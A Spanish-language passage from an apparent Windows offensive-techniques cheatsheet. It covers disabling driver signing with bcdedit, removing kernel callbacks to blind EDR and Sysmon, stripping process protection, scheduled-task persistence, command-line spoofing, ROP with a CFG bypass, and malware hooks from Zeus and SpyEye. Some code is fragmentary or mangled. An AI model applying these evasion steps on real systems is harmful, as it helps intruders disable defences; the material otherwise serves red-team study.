Como se describe en la sección [Conceptos generales](#general-concepts), los controladores deben estar firmados antes de instalarse en un sistema Windows. A pesar de que tengas que usar algún exploit de controlador o de kernel para omitirla (por ejemplo, el CVE del controlador de Gigabyte), aún puedes deshabilitarla manualmente:```powershell
bcdedit.exe -set loadoptions DISABLE_INTEGRITY_CHECKS
bcdedit.exe -set TESTSIGNING ON
Luego reinicia tu computadora. Obviamente necesitas derechos de administrador local en la máquina donde quieras ejecutar estos comandos. Como se necesita un reinicio, esto no es OPSEC en absoluto.
ObRegisterCallbacks (wdm.h) te permite definir callbacks "personalizados" que pueden usarse para modificar el comportamiento de una aplicación en modo usuario cuando se activan mediante una operación específica, como CreateProcess/OpenProcess (creación de handles).
Básicamente, los Ob Callbacks se definen con un arreglo OB_OPERATION_REGISTRATION, que se rellenará con la estructura OB_CALLBACK_REGISTRATION (rellenada con callbacks).
Ejemplo para activar en OpenProcess/CreateProcess:```c OB_OPERATION_REGISTRATION obOperationRegistrationArray[1] = { 0 }; OB_CALLBACK_REGISTRATION obCallbackRegistration = { 0 };
obOperationRegistrationArray[0].ObjectType = PsProcessType; //monitor for handles obOperationRegistrationArray[0].Operations = OB_OPERATION_HANDLE_CREATE | OB_OPERATION_HANDLE_DUPLICATE; //detect created and duplicated handles obOperationRegistrationArray[0].PreOperation = process_ob_pre_op_callbacks; //intercept before the end of the operation with a pointer to a defined function in your own code obOperationRegistrationArray[0].PostOperation = NULL; //do nothing after the operation has been completed
NTSTATUS status_register = ObRegisterCallbacks(&obCallbackRegistration, ®_handle); //register callbacks if (!NT_SUCCESS(status_register)) { DbgPrint("[-] Error while trying to register callbacks\n"); } else {
DbgPrint("[+] Registering callbacks !\n");
}
**process_ob_pre_op_callbacks** es una función definida por el usuario que se llamará cuando se intercepte el callback, y por lo tanto puede denegar o permitir la operación.```c
OB_PREOP_CALLBACK_STATUS process_ob_pre_op_callbacks(PVOID registrationContext, POB_PRE_OPERATION_INFORMATION pObPreOperationInformation) {
if (pObPreOperationInformation->KernelHandle) return OB_PREOP_SUCCESS; //if handle is a kernel handle, pass
pObPreOperationInformation->Parameters->CreateHandleInformation.DesiredAccess &= ~My_PROCESS_ALL_ACCESS; //remove PROCESS_ALL_ACCESS from handle
}
Nota : My_PROCESS_ALL_ACCESS se puede definir como #define My_PROCESS_ALL_ACCESS (0x1FFFFF) (código hexadecimal de win32).
Cómo parchear ObCallbacks : hay varias formas de parchearlos, pero probablemente las dos formas más comunes de lograr este objetivo serían escribir una función obcallback con algún esquema como : "nop-nop-nop-ret", o borrar el puntero de función obcallback de los elementos _CALLBACK_ENTRY_ITEM. Tenga en cuenta que estas técnicas pueden activar PatchGuard, así que preste atención al usar estas técnicas en una operación real.
Los callbacks del kernel fueron introducidos por Microsoft principalmente para ofrecer una mejor manera a los editores de AV/EDR de monitorear y prevenir acciones sospechosas (Antes de ellos, muchos productos de seguridad usaban parcheo en modo kernel como hooks de SSDT para hacer el mismo trabajo, pero la nueva protección PatchGuard los restringió a usar esta nueva solución).
Hay varios tipos de callbacks del kernel, especialmente :
- ProcessNotify : se llama cuando un proceso se crea o sale.
- ThreadNotify : se llama cuando un hilo se crea o sale (se elimina).
- LoadImageNotify : se llama cuando una imagen ejecutable es cargada por otro exe (ejemplo : DLL cargada por un proceso).
Cada uno de ellos tiene su función asociada, como PsSetCreateProcessNotifyRoutineEx para configurarlos en tu controlador. Esta última registra una rutina de callback cuando un nuevo proceso se crea o se elimina en el sistema Windows. Su prototipo se define como sigue :```cpp NTSTATUS PsSetCreateProcessNotifyRoutineEx( [in] PCREATE_PROCESS_NOTIFY_ROUTINE_EX NotifyRoutine, [in] BOOLEAN Remove );
**PCREATE_PROCESS_NOTIFY_ROUTINE_EX** es un puntero a la rutina de devolución de llamada (callback) que se invocará cuando se active el evento (aquí, creación/terminación de procesos).
**Remove** es un simple indicador que señala si PsSetCreateProcessNotify registrará la función de devolución de llamada o la eliminará (útil en la función de limpieza de su controlador).
La función de devolución de llamada usará este prototipo :```cpp
void OnProcessNotify(
PEPROCESS Process,
HANDLE ProcessId,
PPS_CREATE_NOTIFY_INFO CreateInfo
);
donde Process es el proceso actual que se está creando/eliminando, ProcessId es el id de este proceso, y CreateInfo es una estructura que contiene diversa información sobre este proceso.
Cuando un driver registra una nueva rutina de callback, su dirección se almacenará en un array normalmente llamado Pspname_of_your_callback. Por ejemplo, la lista de todas las funciones ProcessNotifyRoutine se almacena en el array PspCreateProcessNotifyRoutine.
Para eliminar dichos callbacks, simplemente necesitarás vaciar este array !
Desafortunadamente, la dirección de este tan emocionante array no tiene una forma directa de ser obtenida. Afortunadamente, hay muchas maneras de hacerlo manualmente, buscando algunos offsets específicos en la memoria.
Una vez que encuentres la dirección correcta, puedes enumerar todos los callbacks registrados y filtrarlos por nombre del driver (¿el driver de Sysmon quizás ?:)), y solo eliminar las funciones de callback correspondientes de la lista.
Los Procesos Protegidos fueron introducidos con Windows Vista. Se puede definir como una estructura llamada EPROCESS (sin definir : https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/eprocess) que define si el proceso está protegido o no con tres miembros interesantes :``` kd> dt nt!_EPROCESS +0x000 Pcb : _KPROCESS +0x2d8 ProcessLock : _EX_PUSH_LOCK +0x2e0 UniqueProcessId : Ptr64 Void [...snip...] +0x6c8 SignatureLevel : UChar //signature integrity of exe +0x6c9 SectionSignatureLevel : UChar //Second member : same as first for DLL loaded by the exe +0x6ca Protection : _PS_PROTECTION
El tercer miembro (Protection) es una estructura PS_PROTECTION que se define a continuación:```
_PS_PROTECTION
+0x000 Level : UChar
+0x000 Type : Pos 0, 3 Bits
+0x000 Audit : Pos 3, 1 Bit
+0x000 Signer : Pos 4, 4 Bits
Para eliminar la protección PPL, debes establecer SignatureLevel, SectionSignatureLevel y Protection a 0.
Como el desplazamiento entre la dirección base de EPROCESS y PS_PROTECTION es 0x6c8, puedes obtenerlo sumando los dos valores.
Código de ejemplo : //todo
Nota : Varios ejemplos de esta parte se obtuvieron de : https://learn.microsoft.com/en-us/windows/win32/taskschd/using-the-task-scheduler?source=recommendations
La forma "convencional" de programar cualquier tarea en el sistema operativo Windows requiere pasar por la interfaz gráfica (Programador de tareas). No es tan práctico para nosotros, ya que a menudo solo obtenemos una sesión de línea de comandos en un sistema comprometido.
Afortunadamente, se puede usar la API de Win32 para crear dichas tareas, lo que te permite conseguir una gran persistencia para tu beacon, o escalada de privilegios.
Básicamente, necesitas inicializar la biblioteca COM y luego crear una nueva instancia de la clase ITaskService con la API CoCreateInstance(). Ahora puedes editar tu objeto ITaskService para modificar la carpeta raíz, la acción, la hora y mucho más. Aquí tienes un ejemplo a continuación :```cpp /******************************************************************** This sample schedules a task to start Notepad.exe 30 seconds after the system is started. ********************************************************************/
#define _WIN32_DCOM
#include <windows.h> #include #include <stdio.h> #include <comdef.h> // Include the task header file. #include <taskschd.h> #pragma comment(lib, "taskschd.lib") #pragma comment(lib, "comsupp.lib")
using namespace std;
int __cdecl wmain() { // ------------------------------------------------------ // Initialize COM. HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED); if( FAILED(hr) ) { printf("\nCoInitializeEx failed: %x", hr ); return 1; }
// Set general COM security levels.
hr = CoInitializeSecurity(
NULL,
-1,
NULL,
NULL,
RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
RPC_C_IMP_LEVEL_IMPERSONATE,
NULL,
0,
NULL);
if( FAILED(hr) )
{
printf("\nCoInitializeSecurity failed: %x", hr );
CoUninitialize();
return 1;
}
// ------------------------------------------------------
// Create a name for the task.
LPCWSTR wszTaskName = L"Boot Trigger Test Task";
// Get the Windows directory and set the path to Notepad.exe.
wstring wstrExecutablePath = _wgetenv( L"WINDIR");
wstrExecutablePath += L"\\SYSTEM32\\NOTEPAD.EXE";
// ------------------------------------------------------
// Create an instance of the Task Service.
ITaskService *pService = NULL;
hr = CoCreateInstance( CLSID_TaskScheduler,
NULL,
CLSCTX_INPROC_SERVER,
IID_ITaskService,
(void**)&pService );
if (FAILED(hr))
{
printf("Failed to create an instance of ITaskService: %x", hr);
CoUninitialize();
return 1;
}
// Connect to the task service.
hr = pService->Connect(_variant_t(), _variant_t(),
_variant_t(), _variant_t());
if( FAILED(hr) )
{
printf("ITaskService::Connect failed: %x", hr );
pService->Release();
CoUninitialize();
return 1;
}
// ------------------------------------------------------
// Get the pointer to the root task folder.
// This folder will hold the new task that is registered.
ITaskFolder *pRootFolder = NULL;
hr = pService->GetFolder( _bstr_t( L"\\") , &pRootFolder );
if( FAILED(hr) )
{
printf("Cannot get Root Folder pointer: %x", hr );
pService->Release();
CoUninitialize();
return 1;
}
// If the same task exists, remove it.
pRootFolder->DeleteTask( _bstr_t( wszTaskName), 0 );
// Create the task builder object to create the task.
ITaskDefinition *pTask = NULL;
hr = pService->NewTask( 0, &pTask );
pService->Release(); // COM clean up. Pointer is no longer used.
if (FAILED(hr))
{
printf("Failed to create a task definition: %x", hr);
pRootFolder->Release();
CoUninitialize();
return 1;
}
// ------------------------------------------------------
// Get the registration info for setting the identification.
IRegistrationInfo *pRegInfo= NULL;
hr = pTask->get_RegistrationInfo( &pRegInfo );
if( FAILED(hr) )
{
printf("\nCannot get identification pointer: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
hr = pRegInfo->put_Author(L"Author Name");
pRegInfo->Release();
if( FAILED(hr) )
{
printf("\nCannot put identification info: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
// ------------------------------------------------------
// Create the settings for the task
ITaskSettings *pSettings = NULL;
hr = pTask->get_Settings( &pSettings );
if( FAILED(hr) )
{
printf("\nCannot get settings pointer: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
// Set setting values for the task.
hr = pSettings->put_StartWhenAvailable(VARIANT_TRUE);
pSettings->Release();
if( FAILED(hr) )
{
printf("\nCannot put setting info: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
// ------------------------------------------------------
// Get the trigger collection to insert the boot trigger.
ITriggerCollection *pTriggerCollection = NULL;
hr = pTask->get_Triggers( &pTriggerCollection );
if( FAILED(hr) )
{
printf("\nCannot get trigger collection: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
// Add the boot trigger to the task.
ITrigger *pTrigger = NULL;
hr = pTriggerCollection->Create( TASK_TRIGGER_BOOT, &pTrigger );
pTriggerCollection->Release();
if( FAILED(hr) )
{
printf("\nCannot create the trigger: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
IBootTrigger *pBootTrigger = NULL;
hr = pTrigger->QueryInterface(
IID_IBootTrigger, (void**) &pBootTrigger );
pTrigger->Release();
if( FAILED(hr) )
{
printf("\nQueryInterface call failed for IBootTrigger: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
hr = pBootTrigger->put_Id( _bstr_t( L"Trigger1" ) );
if( FAILED(hr) )
printf("\nCannot put the trigger ID: %x", hr);
// Set the task to start at a certain time. The time
// format should be YYYY-MM-DDTHH:MM:SS(+-)(timezone).
// For example, the start boundary below
// is January 1st 2005 at 12:05
hr = pBootTrigger->put_StartBoundary( _bstr_t(L"2005-01-01T12:05:00") );
if( FAILED(hr) )
printf("\nCannot put the start boundary: %x", hr);
hr = pBootTrigger->put_EndBoundary( _bstr_t(L"2015-05-02T08:00:00") );
if( FAILED(hr) )
printf("\nCannot put the end boundary: %x", hr);
// Delay the task to start 30 seconds after system start.
hr = pBootTrigger->put_Delay( L"PT30S" );
pBootTrigger->Release();
if( FAILED(hr) )
{
printf("\nCannot put delay for boot trigger: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
// ------------------------------------------------------
// Add an Action to the task. This task will execute Notepad.exe.
IActionCollection *pActionCollection = NULL;
// Get the task action collection pointer.
hr = pTask->get_Actions( &pActionCollection );
if( FAILED(hr) )
{
printf("\nCannot get Task collection pointer: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
// Create the action, specifying it as an executable action.
IAction *pAction = NULL;
hr = pActionCollection->Create( TASK_ACTION_EXEC, &pAction );
pActionCollection->Release();
if( FAILED(hr) )
{
printf("\nCannot create the action: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
IExecAction *pExecAction = NULL;
// QI for the executable task pointer.
hr = pAction->QueryInterface(
IID_IExecAction, (void**) &pExecAction );
pAction->Release();
if( FAILED(hr) )
{
printf("\nQueryInterface call failed for IExecAction: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
// Set the path of the executable to Notepad.exe.
hr = pExecAction->put_Path( _bstr_t( wstrExecutablePath.c_str() ) );
pExecAction->Release();
if( FAILED(hr) )
{
printf("\nCannot set path of executable: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
// ------------------------------------------------------
// Save the task in the root folder.
IRegisteredTask *pRegisteredTask = NULL;
VARIANT varPassword;
varPassword.vt = VT_EMPTY;
hr = pRootFolder->RegisterTaskDefinition(
_bstr_t( wszTaskName ),
pTask,
TASK_CREATE_OR_UPDATE,
_variant_t(L"Local Service"),
varPassword,
TASK_LOGON_SERVICE_ACCOUNT,
_variant_t(L""),
&pRegisteredTask);
if( FAILED(hr) )
{
printf("\nError saving the Task : %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
printf("\n Success! Task successfully registered. " );
// Clean up.
pRootFolder->Release();
pTask->Release();
pRegisteredTask->Release();
CoUninitialize();
return 0;
}
## Spoofing de línea de comandos
Funciona perfectamente incluso con monitorización de sysmon/process hacker; permite ocultar los argumentos de tus comandos, lo que puede ser útil en operaciones de pentest/red team (```powershell -enc .....```)
Para lograr ese objetivo, puedes generar un nuevo proceso con argumentos de comando "legítimos" en modo suspendido y luego editar esos argumentos directamente en el PEB.
Poc : https://github.com/NVISOsecurity/blogposts/blob/master/examples-commandlinespoof/Example%203%20-%20CMD%20spawn%20with%20fake%20procexp%20args/code.cpp
# Cosas Varias
## Convención de llamadas x64
- Los primeros 4 argumentos enteros se pasan en los registros `RCX`, `RDX`, `R8` y `R9`.
- Los argumentos adicionales se pasan por la pila.
- A la dirección de retorno le sigue un área de 32 bytes reservada para `RCX`, `RDX`, `R8` y `R9`.
- Las variables locales y los registros no volátiles se almacenan por encima de la dirección de retorno.
- `RBP` no se utiliza para referenciar variables locales/argumentos de función, y `RSP` permanece constante durante toda la función.
> Notas:
> - Si una función tiene un número variable de argumentos, debe usar la pila para pasarlos
> - Si el valor de retorno es una estructura, entonces el llamador es responsable de asignar espacio para el valor de retorno y pasar un puntero a ese espacio como primer argumento
> - La función llamada es responsable de preservar los valores de los registros `RBX`, `RBP` y `R12`–`R15`, pero puede modificar libremente los demás registros
> - La pila está alineada a un límite de 16 bytes en el punto de llamada
> - La función llamada es responsable de restaurar el puntero de pila (`RSP`) a su valor original antes de retornar
## Ejecución indirecta
La ejecución indirecta aquí se refiere a un ROP para lograr la ejecución de algunas tareas; necesitarás añadir parámetros al registro correcto; debes entender la [convención de llamadas x64](https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet#x64-calling-convention) para eso.
- Un ROP con la estructura `CONTEXT` necesitará `RtlCaptureContext` para recuperar el contexto actual y `NtContinue` para continuar la ejecución del ROP con la estructura `CONTEXT` como parámetro rellenada con los argumentos de función correctos en los registros correctos. También puedes construir tu ROP en ensamblador si quieres.
### Bypass de CFG con SetProcessValidCallTargets
Esto no es un bypass real, pero incluirá en la lista blanca la función que estés usando en tu ROP (es decir, `NtContinue`).```c
CFG_CALL_TARGET_INFO Cfg = { 0 };
Cfg.Offset = ( ULONG_PTR )pAddress - ( ULONG_PTR )Mbi.BaseAddress;
Cfg.Flags = CFG_CALL_TARGET_VALID;
SetProcessValidCallTargets( ( HANDLE )-1, Mbi.BaseAddress, Mbi.RegionSize, 1, &Cfg );
Esta técnica ha sido descubierta en el conocido malware Emotet. Para iniciar un nuevo proceso de powershell (con la intención de ejecutar algún payload), utiliza la API COM con una instancia de WMI. Con este truco, el proceso de powershell se genera como un proceso hijo del proceso WMIPrvSE, lo que resulta mucho menos sospechoso que ser generado por un ejecutable sospechoso o incluso un archivo de Word.
El conocido malware Zeus utiliza un truco bastante ingenioso para ocultar sus registros (pulsaciones de teclas, contraseñas, etc.) en el sistema comprometido. Engancha la función NtQueryDirectoryFile() para filtrar los resultados mostrados.```cpp
typedef struct _FILE_NAMES_INFORMATION {
ULONG NextEntryOffset;
ULONG FileIndex;
ULONG FileNameLength;
WCHAR FileName[1];
} FILE_NAMES_INFORMATION, *PFILE_NAMES_INFORMATION;
if (file_matches) {
// Check for end of list if (pCurrentFileNames->NextEntryOffset == 0) { // Hide current file if (pPrev) pPrevFileNames->NextEntryOffset = 0; else return STATUS_NO_SUCH_FILE;
Source : https://ioactive.com/pdfs/ZeusSpyEyeBankingTrojanAnalysis.pdf
## Técnica de hooking del keylogger de SpyEye
El malware SpyEye engancha la función ```TranslateMessage()``` para guardar las pulsaciones de teclado: el procedimiento del hook usa la función ```GetKeyboardState``` para añadir el carácter tecleado a un búfer de 20000 bytes.
Source : https://ioactive.com/pdfs/ZeusSpyEyeBankingTrojanAnalysis.pdf
## KillSwitch de WannaCry
El ransomware WannaCry usaba una URL de killswitch que se resolvía antes de la ejecución del payload principal. Después de que este dominio fuera registrado, todas las muestras de WannaCry quedaron deshabilitadas. Esta técnica se documentó aquí: https://www.malwaretech.com/2017/05/how-to-accidentally-stop-a-global-cyber-attacks.html
Dato curioso: este dominio estaba en texto plano, sin ningún tipo de ofuscación. Bastante gracioso :)